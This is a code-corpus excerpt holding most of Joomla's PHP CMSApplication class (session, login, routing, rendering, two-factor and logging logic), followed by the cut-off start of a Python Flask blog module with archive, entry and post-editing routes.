* Currently active template
*
* @var object
* @since 3.2
*/
protected $template = null;
/**
* The pathway object
*
* @var Pathway
* @since 4.0.0
*/
protected $pathway = null;
/**
* The authentication plugin type
*
* @var string
* @since 4.0.0
*/
protected $authenticationPluginType = 'authentication';
/**
* Class constructor.
*
* @param Input $input An optional argument to provide dependency injection for the application's input
* object. If the argument is a JInput object that object will become the
* application's input object, otherwise a default input object is created.
* @param Registry $config An optional argument to provide dependency injection for the application's config
* object. If the argument is a Registry object that object will become the
* application's config object, otherwise a default config object is created.
* @param WebClient $client An optional argument to provide dependency injection for the application's client
* object. If the argument is a WebClient object that object will become the
* application's client object, otherwise a default client object is created.
* @param Container $container Dependency injection container.
*
* @since 3.2
*/
public function __construct(Input $input = null, Registry $config = null, WebClient $client = null, Container $container = null)
{
$container = $container ?: new Container;
$this->setContainer($container);
parent::__construct($input, $config, $client);
// If JDEBUG is defined, load the profiler instance
if (\defined('JDEBUG') && JDEBUG)
{
$this->profiler = Profiler::getInstance('Application');
}
// Enable sessions by default.
if ($this->config->get('session') === null)
{
$this->config->set('session', true);
}
// Set the session default name.
if ($this->config->get('session_name') === null)
{
$this->config->set('session_name', $this->getName());
}
}
/**
* Checks the user session.
*
* If the session record doesn't exist, initialise it.
* If session is new, create session variables
*
* @return void
*
* @since 3.2
* @throws \RuntimeException
*/
public function checkSession()
{
$this->getContainer()->get(MetadataManager::class)->createOrUpdateRecord($this->getSession(), $this->getIdentity());
}
/**
* Enqueue a system message.
*
* @param string $msg The message to enqueue.
* @param string $type The message type. Default is message.
*
* @return void
*
* @since 3.2
*/
public function enqueueMessage($msg, $type = self::MSG_INFO)
{
// Don't add empty messages.
if ($msg === null || trim($msg) === '')
{
return;
}
$inputFilter = InputFilter::getInstance(
[],
[],
InputFilter::ONLY_BLOCK_DEFINED_TAGS,
InputFilter::ONLY_BLOCK_DEFINED_ATTRIBUTES
);
// Build the message array and apply the HTML InputFilter with the default blacklist to the message
$message = array(
'message' => $inputFilter->clean($msg, 'html'),
'type' => $inputFilter->clean(strtolower($type), 'cmd'),
);
// For empty queue, if messages exists in the session, enqueue them first.
$messages = $this->getMessageQueue();
if (!\in_array($message, $this->messageQueue))
{
// Enqueue the message.
$this->messageQueue[] = $message;
}
}
/**
* Ensure several core system input variables are not arrays.
*
* @return void
*
* @since 3.9
*/
private function sanityCheckSystemVariables()
{
$input = $this->input;
// Get invalid input variables
$invalidInputVariables = array_filter(
array('option', 'view', 'format', 'lang', 'Itemid', 'template', 'templateStyle', 'task'),
function ($systemVariable) use ($input) {
return $input->exists($systemVariable) && is_array($input->getRaw($systemVariable));
}
);
// Unset invalid system variables
foreach ($invalidInputVariables as $systemVariable)
{
$input->set($systemVariable, null);
}
// Abort when there are invalid variables
if ($invalidInputVariables)
{
throw new \RuntimeException('Invalid input, aborting application.');
}
}
/**
* Execute the application.
*
* @return void
*
* @since 3.2
*/
public function execute()
{
try
{
$this->sanityCheckSystemVariables();
$this->setupLogging();
$this->createExtensionNamespaceMap();
// Perform application routines.
$this->doExecute();
// If we have an application document object, render it.
if ($this->document instanceof \Joomla\CMS\Document\Document)
{
// Render the application output.
$this->render();
}
// If gzip compression is enabled in configuration and the server is compliant, compress the output.
if ($this->get('gzip') && !ini_get('zlib.output_compression') && ini_get('output_handler') !== 'ob_gzhandler')
{
$this->compress();
// Trigger the onAfterCompress event.
$this->triggerEvent('onAfterCompress');
}
}
catch (\Throwable $throwable)
{
/** @var ErrorEvent $event */
$event = AbstractEvent::create(
'onError',
[
'subject' => $throwable,
'eventClass' => ErrorEvent::class,
'application' => $this,
]
);
// Trigger the onError event.
$this->triggerEvent('onError', $event);
ExceptionHandler::handleException($event->getError());
}
// Send the application response.
$this->respond();
// Trigger the onAfterRespond event.
$this->triggerEvent('onAfterRespond');
}
/**
* Check if the user is required to reset their password.
*
* If the user is required to reset their password will be redirected to the page that manage the password reset.
*
* @param string $option The option that manage the password reset
* @param string $view The view that manage the password reset
* @param string $layout The layout of the view that manage the password reset
* @param string $tasks Permitted tasks
*
* @return void
*
* @throws \Exception
*/
protected function checkUserRequireReset($option, $view, $layout, $tasks)
{
if (Factory::getUser()->get('requireReset', 0))
{
$redirect = false;
/*
* By default user profile edit page is used.
* That page allows you to change more than just the password and might not be the desired behavior.
* This allows a developer to override the page that manage the password reset.
* (can be configured using the file: configuration.php, or if extended, through the global configuration form)
*/
$name = $this->getName();
if ($this->get($name . '_reset_password_override', 0))
{
$option = $this->get($name . '_reset_password_option', '');
$view = $this->get($name . '_reset_password_view', '');
$layout = $this->get($name . '_reset_password_layout', '');
$tasks = $this->get($name . '_reset_password_tasks', '');
}
$task = $this->input->getCmd('task', '');
// Check task or option/view/layout
if (!empty($task))
{
$tasks = explode(',', $tasks);
// Check full task version "option/task"
if (array_search($this->input->getCmd('option', '') . '/' . $task, $tasks) === false)
{
// Check short task version, must be on the same option of the view
if ($this->input->getCmd('option', '') !== $option || array_search($task, $tasks) === false)
{
// Not permitted task
$redirect = true;
}
}
}
else
{
if ($this->input->getCmd('option', '') !== $option || $this->input->getCmd('view', '') !== $view
|| $this->input->getCmd('layout', '') !== $layout)
{
// Requested a different option/view/layout
$redirect = true;
}
}
if ($redirect)
{
// Redirect to the profile edit page
$this->enqueueMessage(Text::_('JGLOBAL_PASSWORD_RESET_REQUIRED'), 'notice');
$url = Route::_('index.php?option=' . $option . '&view=' . $view . '&layout=' . $layout, false);
// In the administrator we need a different URL
if (strtolower($name) === 'administrator')
{
$user = Factory::getApplication()->getIdentity();
$url = Route::_('index.php?option=' . $option . '&task=' . $view . '.' . $layout . '&id=' . $user->id, false);
}
$this->redirect($url);
}
}
}
/**
* Gets a configuration value.
*
* @param string $varname The name of the value to get.
* @param string $default Default value to return
*
* @return mixed The user state.
*
* @since 3.2
* @deprecated 5.0 Use get() instead
*/
public function getCfg($varname, $default = null)
{
try
{
Log::add(
sprintf('%s() is deprecated and will be removed in 5.0. Use JFactory->getApplication()->get() instead.', __METHOD__),
Log::WARNING,
'deprecated'
);
}
catch (\RuntimeException $exception)
{
// Informational log only
}
return $this->get($varname, $default);
}
/**
* Gets the client id of the current running application.
*
* @return integer A client identifier.
*
* @since 3.2
*/
public function getClientId()
{
return $this->clientId;
}
/**
* Returns a reference to the global CmsApplication object, only creating it if it doesn't already exist.
*
* This method must be invoked as: $web = CmsApplication::getInstance();
*
* @param string $name The name (optional) of the CmsApplication class to instantiate.
* @param string $prefix The class name prefix of the object.
* @param Container $container An optional dependency injection container to inject into the application.
*
* @return CmsApplication
*
* @since 3.2
* @throws \RuntimeException
* @deprecated 5.0 Use \Joomla\CMS\Factory::getContainer()->get($name) instead
*/
public static function getInstance($name = null, $prefix = '\JApplication', Container $container = null)
{
if (empty(static::$instances[$name]))
{
// Create a CmsApplication object.
$classname = $prefix . ucfirst($name);
if (!$container)
{
$container = Factory::getContainer();
}
if ($container->has($classname))
{
static::$instances[$name] = $container->get($classname);
}
elseif (class_exists($classname))
{
// @todo This creates an implicit hard requirement on the ApplicationCms constructor
static::$instances[$name] = new $classname(null, null, null, $container);
}
else
{
throw new \RuntimeException(Text::sprintf('JLIB_APPLICATION_ERROR_APPLICATION_LOAD', $name), 500);
}
static::$instances[$name]->loadIdentity(Factory::getUser());
}
return static::$instances[$name];
}
/**
* Returns the application \JMenu object.
*
* @param string $name The name of the application/client.
* @param array $options An optional associative array of configuration settings.
*
* @return AbstractMenu
*
* @since 3.2
*/
public function getMenu($name = null, $options = array())
{
if (!isset($name))
{
$name = $this->getName();
}
// Inject this application object into the \JMenu tree if one isn't already specified
if (!isset($options['app']))
{
$options['app'] = $this;
}
return AbstractMenu::getInstance($name, $options);
}
/**
* Get the system message queue.
*
* @param boolean $clear Clear the messages currently attached to the application object
*
* @return array The system message queue.
*
* @since 3.2
*/
public function getMessageQueue($clear = false)
{
// For empty queue, if messages exists in the session, enqueue them.
if (!\count($this->messageQueue))
{
$sessionQueue = $this->getSession()->get('application.queue', []);
if ($sessionQueue)
{
$this->messageQueue = $sessionQueue;
$this->getSession()->set('application.queue', []);
}
}
$messageQueue = $this->messageQueue;
if ($clear)
{
$this->messageQueue = array();
}
return $messageQueue;
}
/**
* Gets the name of the current running application.
*
* @return string The name of the application.
*
* @since 3.2
*/
public function getName()
{
return $this->name;
}
/**
* Returns the application Pathway object.
*
* @return Pathway
*
* @since 3.2
*/
public function getPathway()
{
if (!$this->pathway)
{
$resourceName = ucfirst($this->getName()) . 'Pathway';
if (!$this->getContainer()->has($resourceName))
{
throw new \RuntimeException(
Text::sprintf('JLIB_APPLICATION_ERROR_PATHWAY_LOAD', $this->getName()),
500
);
}
$this->pathway = $this->getContainer()->get($resourceName);
}
return $this->pathway;
}
/**
* Returns the application Router object.
*
* @param string $name The name of the application.
* @param array $options An optional associative array of configuration settings.
*
* @return Router
*
* @since 3.2
*/
public static function getRouter($name = null, array $options = array())
{
$app = Factory::getApplication();
if (!isset($name))
{
$name = $app->getName();
}
$options['mode'] = $app->get('sef');
return Router::getInstance($name, $options);
}
/**
* Gets the name of the current template.
*
* @param boolean $params An optional associative array of configuration settings
*
* @return mixed System is the fallback.
*
* @since 3.2
*/
public function getTemplate($params = false)
{
if ($params)
{
$template = new \stdClass;
$template->template = 'system';
$template->params = new Registry;
$template->inheritable = 0;
$template->parent = '';
return $template;
}
return 'system';
}
/**
* Gets a user state.
*
* @param string $key The path of the state.
* @param mixed $default Optional default value, returned if the internal value is null.
*
* @return mixed The user state or null.
*
* @since 3.2
*/
public function getUserState($key, $default = null)
{
$registry = $this->getSession()->get('registry');
if ($registry !== null)
{
return $registry->get($key, $default);
}
return $default;
}
/**
* Gets the value of a user state variable.
*
* @param string $key The key of the user state variable.
* @param string $request The name of the variable passed in a request.
* @param string $default The default value for the variable if not found. Optional.
* @param string $type Filter for the variable, for valid values see {@link InputFilter::clean()}. Optional.
*
* @return mixed The request user state.
*
* @since 3.2
*/
public function getUserStateFromRequest($key, $request, $default = null, $type = 'none')
{
$cur_state = $this->getUserState($key, $default);
$new_state = $this->input->get($request, null, $type);
if ($new_state === null)
{
return $cur_state;
}
// Save the new value only if it was set in this request.
$this->setUserState($key, $new_state);
return $new_state;
}
/**
* Initialise the application.
*
* @param array $options An optional associative array of configuration settings.
*
* @return void
*
* @since 3.2
*/
protected function initialiseApp($options = array())
{
// Check that we were given a language in the array (since by default may be blank).
if (isset($options['language']))
{
$this->set('language', $options['language']);
}
// Build our language object
$lang = Language::getInstance($this->get('language'), $this->get('debug_lang'));
// Load the language to the API
$this->loadLanguage($lang);
// Register the language object with Factory
Factory::$language = $this->getLanguage();
// Load the library language files
$this->loadLibraryLanguage();
// Set user specific editor.
$user = Factory::getUser();
$editor = $user->getParam('editor', $this->get('editor'));
if (!PluginHelper::isEnabled('editors', $editor))
{
$editor = $this->get('editor');
if (!PluginHelper::isEnabled('editors', $editor))
{
$editor = 'none';
}
}
$this->set('editor', $editor);
// Load the behaviour plugins
PluginHelper::importPlugin('behaviour');
// Trigger the onAfterInitialise event.
PluginHelper::importPlugin('system');
$this->triggerEvent('onAfterInitialise');
}
/**
* Checks if HTTPS is forced in the client configuration.
*
* @param integer $clientId An optional client id (defaults to current application client).
*
* @return boolean True if is forced for the client, false otherwise.
*
* @since 3.7.3
*/
public function isHttpsForced($clientId = null)
{
$clientId = (int) ($clientId !== null ? $clientId : $this->getClientId());
$forceSsl = (int) $this->get('force_ssl');
if ($clientId === 0 && $forceSsl === 2)
{
return true;
}
if ($clientId === 1 && $forceSsl >= 1)
{
return true;
}
return false;
}
/**
* Check the client interface by name.
*
* @param string $identifier String identifier for the application interface
*
* @return boolean True if this application is of the given type client interface.
*
* @since 3.7.0
*/
public function isClient($identifier)
{
return $this->getName() === $identifier;
}
/**
* Load the library language files for the application
*
* @return void
*
* @since 3.6.3
*/
protected function loadLibraryLanguage()
{
$this->getLanguage()->load('lib_joomla', JPATH_ADMINISTRATOR);
}
/**
* Login authentication function.
*
* Username and encoded password are passed the onUserLogin event which
* is responsible for the user validation. A successful validation updates
* the current session record with the user's details.
*
* Username and encoded password are sent as credentials (along with other
* possibilities) to each observer (authentication plugin) for user
* validation. Successful validation will update the current session with
* the user details.
*
* @param array $credentials Array('username' => string, 'password' => string)
* @param array $options Array('remember' => boolean)
*
* @return boolean|\Exception True on success, false if failed or silent handling is configured, or a \Exception object on authentication error.
*
* @since 3.2
*/
public function login($credentials, $options = array())
{
// Get the global Authentication object.
$authenticate = Authentication::getInstance($this->authenticationPluginType);
$response = $authenticate->authenticate($credentials, $options);
// Import the user plugin group.
PluginHelper::importPlugin('user');
if ($response->status === Authentication::STATUS_SUCCESS)
{
/*
* Validate that the user should be able to login (different to being authenticated).
* This permits authentication plugins blocking the user.
*/
$authorisations = $authenticate->authorise($response, $options);
$denied_states = Authentication::STATUS_EXPIRED | Authentication::STATUS_DENIED;
foreach ($authorisations as $authorisation)
{
if ((int) $authorisation->status & $denied_states)
{
// Trigger onUserAuthorisationFailure Event.
$this->triggerEvent('onUserAuthorisationFailure', array((array) $authorisation));
// If silent is set, just return false.
if (isset($options['silent']) && $options['silent'])
{
return false;
}
// Return the error.
switch ($authorisation->status)
{
case Authentication::STATUS_EXPIRED:
Factory::getApplication()->enqueueMessage(Text::_('JLIB_LOGIN_EXPIRED'), 'error');
return false;
case Authentication::STATUS_DENIED:
Factory::getApplication()->enqueueMessage(Text::_('JLIB_LOGIN_DENIED'), 'error');
return false;
default:
Factory::getApplication()->enqueueMessage(Text::_('JLIB_LOGIN_AUTHORISATION'), 'error');
return false;
}
}
}
// OK, the credentials are authenticated and user is authorised. Let's fire the onLogin event.
$results = $this->triggerEvent('onUserLogin', array((array) $response, $options));
/*
* If any of the user plugins did not successfully complete the login routine
* then the whole method fails.
*
* Any errors raised should be done in the plugin as this provides the ability
* to provide much more information about why the routine may have failed.
*/
$user = Factory::getUser();
if ($response->type === 'Cookie')
{
$user->set('cookieLogin', true);
}
if (\in_array(false, $results, true) == false)
{
$options['user'] = $user;
$options['responseType'] = $response->type;
// The user is successfully logged in. Run the after login events
$this->triggerEvent('onUserAfterLogin', array($options));
return true;
}
}
// Trigger onUserLoginFailure Event.
$this->triggerEvent('onUserLoginFailure', array((array) $response));
// If silent is set, just return false.
if (isset($options['silent']) && $options['silent'])
{
return false;
}
// If status is success, any error will have been raised by the user plugin
if ($response->status !== Authentication::STATUS_SUCCESS)
{
$this->getLogger()->warning($response->error_message, array('category' => 'jerror'));
}
return false;
}
/**
* Logout authentication function.
*
* Passed the current user information to the onUserLogout event and reverts the current
* session record back to 'anonymous' parameters.
* If any of the authentication plugins did not successfully complete
* the logout routine then the whole method fails. Any errors raised
* should be done in the plugin as this provides the ability to give
* much more information about why the routine may have failed.
*
* @param integer $userid The user to load - Can be an integer or string - If string, it is converted to ID automatically
* @param array $options Array('clientid' => array of client id's)
*
* @return boolean True on success
*
* @since 3.2
*/
public function logout($userid = null, $options = array())
{
// Get a user object from the Application.
$user = Factory::getUser($userid);
// Build the credentials array.
$parameters['username'] = $user->get('username');
$parameters['id'] = $user->get('id');
// Set clientid in the options array if it hasn't been set already and shared sessions are not enabled.
if (!$this->get('shared_session', '0') && !isset($options['clientid']))
{
$options['clientid'] = $this->getClientId();
}
// Import the user plugin group.
PluginHelper::importPlugin('user');
// OK, the credentials are built. Lets fire the onLogout event.
$results = $this->triggerEvent('onUserLogout', array($parameters, $options));
// Check if any of the plugins failed. If none did, success.
if (!\in_array(false, $results, true))
{
$options['username'] = $user->get('username');
$this->triggerEvent('onUserAfterLogout', array($options));
return true;
}
// Trigger onUserLogoutFailure Event.
$this->triggerEvent('onUserLogoutFailure', array($parameters));
return false;
}
/**
* Redirect to another URL.
*
* If the headers have not been sent the redirect will be accomplished using a "301 Moved Permanently"
* or "303 See Other" code in the header pointing to the new location. If the headers have already been
* sent this will be accomplished using a JavaScript statement.
*
* @param string $url The URL to redirect to. Can only be http/https URL
* @param integer $status The HTTP 1.1 status code to be provided. 303 is assumed by default.
*
* @return void
*
* @since 3.2
*/
public function redirect($url, $status = 303)
{
// Persist messages if they exist.
if (\count($this->messageQueue))
{
$this->getSession()->set('application.queue', $this->messageQueue);
}
// Hand over processing to the parent now
parent::redirect($url, $status);
}
/**
* Rendering is the process of pushing the document buffers into the template
* placeholders, retrieving data from the document and pushing it into
* the application response buffer.
*
* @return void
*
* @since 3.2
*/
protected function render()
{
// Setup the document options.
$this->docOptions['template'] = $this->get('theme');
$this->docOptions['file'] = $this->get('themeFile', 'index.php');
$this->docOptions['params'] = $this->get('themeParams');
$this->docOptions['csp_nonce'] = $this->get('csp_nonce');
$this->docOptions['templateInherits'] = $this->get('themeInherits');
if ($this->get('themes.base'))
{
$this->docOptions['directory'] = $this->get('themes.base');
}
// Fall back to constants.
else
{
$this->docOptions['directory'] = \defined('JPATH_THEMES') ? JPATH_THEMES : (\defined('JPATH_BASE') ? JPATH_BASE : __DIR__) . '/themes';
}
// Parse the document.
$this->document->parse($this->docOptions);
// Trigger the onBeforeRender event.
PluginHelper::importPlugin('system');
$this->triggerEvent('onBeforeRender');
$caching = false;
if ($this->isClient('site') && $this->get('caching') && $this->get('caching', 2) == 2 && !Factory::getUser()->get('id'))
{
$caching = true;
}
// Render the document.
$data = $this->document->render($caching, $this->docOptions);
// Set the application output data.
$this->setBody($data);
// Trigger the onAfterRender event.
$this->triggerEvent('onAfterRender');
// Mark afterRender in the profiler.
JDEBUG ? $this->profiler->mark('afterRender') : null;
}
/**
* Route the application.
*
* Routing is the process of examining the request environment to determine which
* component should receive the request. The component optional parameters
* are then set in the request object to be processed when the application is being
* dispatched.
*
* @return void
*
* @since 3.2
*/
protected function route()
{
// Get the full request URI.
$uri = clone Uri::getInstance();
$router = static::getRouter();
$result = $router->parse($uri, true);
$active = $this->getMenu()->getActive();
if ($active !== null
&& $active->type === 'alias'
&& $active->getParams()->get('alias_redirect')
&& \in_array($this->input->getMethod(), array('GET', 'HEAD'), true))
{
$item = $this->getMenu()->getItem($active->getParams()->get('aliasoptions'));
if ($item !== null)
{
$oldUri = clone Uri::getInstance();
if ($oldUri->getVar('Itemid') == $active->id)
{
$oldUri->setVar('Itemid', $item->id);
}
$base = Uri::base(true);
$oldPath = StringHelper::strtolower(substr($oldUri->getPath(), \strlen($base) + 1));
$activePathPrefix = StringHelper::strtolower($active->route);
$position = strpos($oldPath, $activePathPrefix);
if ($position !== false)
{
$oldUri->setPath($base . '/' . substr_replace($oldPath, $item->route, $position, \strlen($activePathPrefix)));
$this->setHeader('Expires', 'Wed, 17 Aug 2005 00:00:00 GMT', true);
$this->setHeader('Last-Modified', gmdate('D, d M Y H:i:s') . ' GMT', true);
$this->setHeader('Cache-Control', 'no-store, no-cache, must-revalidate', false);
$this->sendHeaders();
$this->redirect((string) $oldUri, 301);
}
}
}
foreach ($result as $key => $value)
{
$this->input->def($key, $value);
}
if ($this->isTwoFactorAuthenticationRequired())
{
$this->redirectIfTwoFactorAuthenticationRequired();
}
// Trigger the onAfterRoute event.
PluginHelper::importPlugin('system');
$this->triggerEvent('onAfterRoute');
}
/**
* Sets the value of a user state variable.
*
* @param string $key The path of the state.
* @param mixed $value The value of the variable.
*
* @return mixed|void The previous state, if one existed.
*
* @since 3.2
*/
public function setUserState($key, $value)
{
$session = Factory::getSession();
$registry = $session->get('registry');
if ($registry !== null)
{
return $registry->set($key, $value);
}
return;
}
/**
* Sends all headers prior to returning the string
*
* @param boolean $compress If true, compress the data
*
* @return string
*
* @since 3.2
*/
public function toString($compress = false)
{
// Don't compress something if the server is going to do it anyway. Waste of time.
if ($compress && !ini_get('zlib.output_compression') && ini_get('output_handler') !== 'ob_gzhandler')
{
$this->compress();
}
if ($this->allowCache() === false)
{
$this->setHeader('Cache-Control', 'no-cache', false);
}
$this->sendHeaders();
return $this->getBody();
}
/**
* Method to determine a hash for anti-spoofing variable names
*
* @param boolean $forceNew If true, force a new token to be created
*
* @return string Hashed var name
*
* @since 4.0.0
*/
public function getFormToken($forceNew = false)
{
/** @var Session $session */
$session = $this->getSession();
return $session->getFormToken($forceNew);
}
/**
* Checks for a form token in the request.
*
* Use in conjunction with getFormToken.
*
* @param string $method The request method in which to look for the token key.
*
* @return boolean True if found and valid, false otherwise.
*
* @since 4.0.0
*/
public function checkToken($method = 'post')
{
/** @var Session $session */
$session = $this->getSession();
return $session->checkToken($method);
}
/**
* Flag if the application instance is a CLI or web based application.
*
* Helper function, you should use the native PHP functions to detect if it is a CLI application.
*
* @return boolean
*
* @since 4.0.0
* @deprecated 5.0 Will be removed without replacements
*/
public function isCli()
{
return false;
}
/**
* Checks if 2fa needs to be enforced
* if so returns true, else returns false
*
* @return boolean
*
* @since 4.0.0
*
* @throws \Exception
*/
protected function isTwoFactorAuthenticationRequired(): bool
{
$userId = $this->getIdentity()->id;
if (!$userId)
{
return false;
}
// Check session if user has set up 2fa
if ($this->getSession()->has('has2fa'))
{
return false;
}
$enforce2faOptions = ComponentHelper::getComponent('com_users')->getParams()->get('enforce_2fa_options', 0);
if ($enforce2faOptions == 0 || !$enforce2faOptions)
{
return false;
}
if (!PluginHelper::isEnabled('twofactorauth'))
{
return false;
}
$pluginsSiteEnable = false;
$pluginsAdministratorEnable = false;
$pluginOptions = PluginHelper::getPlugin('twofactorauth');
// Sets and checks pluginOptions for Site and Administrator view depending on if any 2fa plugin is enabled for that view
array_walk($pluginOptions,
static function ($pluginOption) use (&$pluginsSiteEnable, &$pluginsAdministratorEnable)
{
$option = new Registry($pluginOption->params);
$section = $option->get('section', 3);
switch ($section)
{
case 1:
$pluginsSiteEnable = true;
break;
case 2:
$pluginsAdministratorEnable = true;
break;
case 3:
default:
$pluginsAdministratorEnable = true;
$pluginsSiteEnable = true;
}
}
);
if ($pluginsSiteEnable && $this->isClient('site'))
{
if (\in_array($enforce2faOptions, [1, 3]))
{
return !$this->hasUserConfiguredTwoFactorAuthentication();
}
}
if ($pluginsAdministratorEnable && $this->isClient('administrator'))
{
if (\in_array($enforce2faOptions, [2, 3]))
{
return !$this->hasUserConfiguredTwoFactorAuthentication();
}
}
return false;
}
/**
* Redirects user to his Two Factor Authentication setup page
*
* @return void
*
* @since 4.0.0
*/
protected function redirectIfTwoFactorAuthenticationRequired(): void
{
$option = $this->input->get('option');
$task = $this->input->get('task');
$view = $this->input->get('view', null, 'STRING');
$layout = $this->input->get('layout', null, 'STRING');
if ($this->isClient('site'))
{
// If user is already on edit profile screen or press update/apply button, do nothing to avoid infinite redirect
if (($option === 'com_users' && \in_array($task, ['profile.edit', 'profile.save', 'profile.apply', 'user.logout', 'user.menulogout'], true))
|| $option === 'com_users' && $view === 'profile' && $layout === 'edit')
{
return;
}
// Redirect to com_users profile edit
$this->enqueueMessage(Text::_('JENFORCE_2FA_REDIRECT_MESSAGE'), 'notice');
$this->redirect('index.php?option=com_users&view=profile&layout=edit');
}
if (($option === 'com_users' && \in_array($task, ['user.save', 'user.edit', 'user.apply', 'user.logout', 'user.menulogout'], true))
|| ($option === 'com_users' && $view === 'user' && $layout === 'edit')
|| ($option === 'com_login' && \in_array($task, ['save', 'edit', 'apply', 'logout', 'menulogout'], true)))
{
return;
}
// Redirect to com_admin profile edit
$this->enqueueMessage(Text::_('JENFORCE_2FA_REDIRECT_MESSAGE'), 'notice');
$this->redirect('index.php?option=com_users&task=user.edit&id=' . $this->getIdentity()->id);
}
/**
* Checks if otpKey and otep for the user are not empty
* if any one is empty returns false, else returns true
*
* @return boolean
*
* @since 4.0.0
*
* @throws \Exception
*/
private function hasUserConfiguredTwoFactorAuthentication(): bool
{
$user = $this->getIdentity();
if (empty($user->otpKey) || empty($user->otep))
{
return false;
}
// Set session to user has configured 2fa
$this->getSession()->set('has2fa', 1);
return true;
}
/**
* Setup logging functionality.
*
* @return void
*
* @since 4.0.0
*/
private function setupLogging(): void
{
// Add InMemory logger that will collect all log entries to allow to display them later by extensions
if ($this->get('debug'))
{
Log::addLogger(['logger' => 'inmemory']);
}
// Log the deprecated API.
if ($this->get('log_deprecated'))
{
Log::addLogger(['text_file' => 'deprecated.php'], Log::ALL, ['deprecated']);
}
// We only log errors unless Site Debug is enabled
$logLevels = Log::ERROR | Log::CRITICAL | Log::ALERT | Log::EMERGENCY;
if ($this->get('debug'))
{
$logLevels = Log::ALL;
}
Log::addLogger(['text_file' => 'joomla_core_errors.php'], $logLevels, ['system']);
// Log everything (except deprecated APIs, these are logged separately with the option above).
if ($this->get('log_everything'))
{
Log::addLogger(['text_file' => 'everything.php'], Log::ALL, ['deprecated', 'deprecation-notes', 'databasequery'], true);
}
if ($this->get('log_categories'))
{
$priority = 0;
foreach ($this->get('log_priorities', ['all']) as $p)
{
$const = '\\Joomla\\CMS\\Log\\Log::' . strtoupper($p);
if (defined($const))
{
$priority |= constant($const);
}
}
// Split into an array at any character other than alphabet, numbers, _, ., or -
$categories = preg_split('/[^\w.-]+/', $this->get('log_categories', ''), -1, PREG_SPLIT_NO_EMPTY);
$mode = (bool) $this->get('log_category_mode', false);
if (!$categories)
{
return;
}
Log::addLogger(['text_file' => 'custom-logging.php'], $priority, $categories, $mode);
}
}
}
| Hackwar/joomla-cms | libraries/src/Application/CMSApplication.php | PHP | gpl-2.0 | 37,946 |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals, absolute_import
"""Endpoints for the web blog."""
from flask import Blueprint, g, request, redirect, url_for, flash, make_response
import datetime
import time
import re
from xml.dom.minidom import Document
import rophako.model.user as User
import rophako.model.blog as Blog
import rophako.model.comment as Comment
import rophako.model.emoticons as Emoticons
from rophako.utils import (template, render_markdown, pretty_time,
login_required, remote_addr)
from rophako.plugin import load_plugin
from rophako.settings import Config
from rophako.log import logger
import sys
if sys.version_info[0] > 2:
def unicode(s):
return str(s)
mod = Blueprint("blog", __name__, url_prefix="/blog")
load_plugin("rophako.modules.comment")
@mod.route("/")
def index():
return template("blog/index.html")
@mod.route("/archive")
def archive():
"""List all blog posts over time on one page."""
index = Blog.get_index()
# Group by calendar month, and keep track of friendly versions of months.
groups = dict()
friendly_months = dict()
for post_id, data in index.items():
ts = datetime.datetime.fromtimestamp(data["time"])
date = ts.strftime("%Y-%m")
if not date in groups:
groups[date] = dict()
friendly = ts.strftime("%B %Y")
friendly_months[date] = friendly
# Get author's profile && Pretty-print the time.
data["profile"] = User.get_user(uid=data["author"])
data["pretty_time"] = pretty_time(Config.blog.time_format, data["time"])
groups[date][post_id] = data
# Sort by calendar month.
sort_months = sorted(groups.keys(), reverse=True)
# Prepare the results.
result = list()
for month in sort_months:
data = dict(
month=month,
month_friendly=friendly_months[month],
posts=list()
)
# Sort the posts by time created, descending.
for post_id in sorted(groups[month].keys(), key=lambda x: groups[month][x]["time"], reverse=True):
data["posts"].append(groups[month][post_id])
result.append(data)
g.info["archive"] = result
return template("blog/archive.html")
@mod.route("/category/<category>")
def category(category):
g.info["url_category"] = category
return template("blog/index.html")
@mod.route("/drafts")
@login_required
def drafts():
"""View all of the draft blog posts."""
return template("blog/drafts.html")
@mod.route("/private")
@login_required
def private():
"""View all of the blog posts marked as private."""
return template("blog/private.html")
@mod.route("/entry/<fid>")
def entry(fid):
"""Endpoint to view a specific blog entry."""
# Resolve the friendly ID to a real ID.
post_id = Blog.resolve_id(fid, drafts=True)
if not post_id:
# See if the friendly ID contains any extraneous dashes at the front
# or end, and remove them and see if we have a match. This allows for
# fixing blog fid's that allowed leading/trailing dashes and having the
# old URL just redirect to the new one.
fid = fid.strip("-")
post_id = Blog.resolve_id(fid, drafts=True)
# If still nothing, try consolidating extra dashes into one.
if not post_id:
fid = re.sub(r'-+', '-', fid)
post_id = Blog.resolve_id(fid, drafts=True)
# Did we find one now?
if post_id:
return redirect(url_for(".entry", fid=fid))
flash("That blog post wasn't found.")
return redirect(url_for(".index"))
# Look up the post.
post = Blog.get_entry(post_id)
post["post_id"] = post_id
# Body has a snipped section?
if "<snip>" in post["body"]:
post["body"] = re.sub(r'\s*<snip>\s*', '\n\n', post["body"])
# Render the body.
if post["format"] == "markdown":
post["rendered_body"] = render_markdown(post["body"])
else:
post["rendered_body"] = post["body"]
# Render emoticons.
if post["emoticons"]:
post["rendered_body"] = Emoticons.render(post["rendered_body"])
# Get the author's information.
post["profile"] = User.get_user(uid=post["author"])
post["photo"] = User.get_picture(uid=post["author"])
post["photo_url"] = Config.photo.root_public
# Pretty-print the time.
post["pretty_time"] = pretty_time(Config.blog.time_format, post["time"])
# Count the comments for this post
post["comment_count"] = Comment.count_comments("blog-{}".format(post_id))
# Inject information about this post's siblings.
index = Blog.get_index()
siblings = [None, None] # previous, next
sorted_ids = list(map(lambda y: int(y), sorted(index.keys(), key=lambda x: index[x]["time"], reverse=True)))
for i in range(0, len(sorted_ids)):
if sorted_ids[i] == post_id:
# Found us!
if i > 0:
# We have an older post.
siblings[0] = index[ str(sorted_ids[i-1]) ]
if i < len(sorted_ids) - 1:
# We have a newer post.
siblings[1] = index[ str(sorted_ids[i+1]) ]
post["siblings"] = siblings
g.info["post"] = post
return template("blog/entry.html")
@mod.route("/entry")
@mod.route("/index")
def dummy():
return redirect(url_for(".index"))
@mod.route("/update", methods=["GET", "POST"])
@login_required
def update():
"""Post/edit a blog entry."""
# Get our available avatars.
g.info["avatars"] = Blog.list_avatars()
g.info["userpic"] = User.get_picture(uid=g.info["session"]["uid"])
# Default vars.
g.info.update(dict(
post_id="",
fid="",
author=g.info["session"]["uid"],
subject="",
body="",
format="markdown",
avatar="",
categories="",
privacy=Config.blog.default_privacy,
sticky=False,
emoticons=True,
comments=Config.blog.allow_comments,
preview=False,
))
# Editing an existing post?
post_id = request.args.get("id", request.form.get("id", None))
if post_id:
post_id = Blog.resolve_id(post_id, drafts=True)
if post_id:
